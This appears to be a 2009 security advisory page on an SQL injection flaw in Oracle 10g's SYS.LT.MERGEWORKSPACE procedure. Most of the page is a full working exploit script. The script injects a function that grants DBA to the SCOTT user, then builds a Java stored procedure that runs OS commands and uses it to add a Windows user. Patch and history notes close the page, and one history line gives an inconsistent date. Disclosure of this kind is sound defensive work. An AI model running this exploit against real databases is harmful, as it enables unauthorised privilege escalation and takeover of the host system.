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Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit

Name Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit
Systems Affected Oracle Database Server versions 9iR2, 10gR1, 10gR2 and 11gR1
Severity High Risk
Category Escalate User Privileges
Vendor URL http://www.oracle.com/
Credit Esteban Martinez Fayo
Exploit http://www.milw0rm.com
Date 06 Jan 2009

Details

The MERGEWORKSPACETREE procedure is owned by SYS or by WMSYS (depending on the Oracle version), one user can call this procedure with malicious code and execute
PL/SQL statements and elevate the privileges as the user were the package owner.

Example

/*********************************************************/
/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/
/****grant DBA and create new OS user (java)*************/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using java procedures ************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: Alexandr.Polyakov@dsec.ru */
/* site: http://www.dsecrg.ru */
/* http://www.dsec.ru */
/*********************************************************/
/*Original Advisory: */
/*Esteban Martinez Fayo [Team SHATTER ] */
/*Date of Public Advisory: November 11, 2008 */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/

select * from user_role_privs;

CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'Y';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');

/* Creating simple java procedure that executes OS */

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','execute');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/

CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

/* here we can paste any OS command for example create new user */

exec javaexec(?net user hack 12345 /add?);

select * from user_role_privs;



Patch Information
Apply the latest Oracle Security patches (e.g. CPU April 2009 )


History
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published



2009 by Red-Database-Security GmbH - last update 19-jun-2009

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